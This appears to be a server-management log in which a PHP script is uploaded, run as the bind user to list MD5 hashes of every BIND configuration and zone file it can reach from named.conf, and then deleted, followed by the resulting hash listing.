MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 19:58:33: Establishing a connection
2026-01-30 19:58:34: 

PUT: /tmp/pkp214510

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 19:58:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp214510; rm /tmp/pkp214510'

2026-01-30 19:58:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
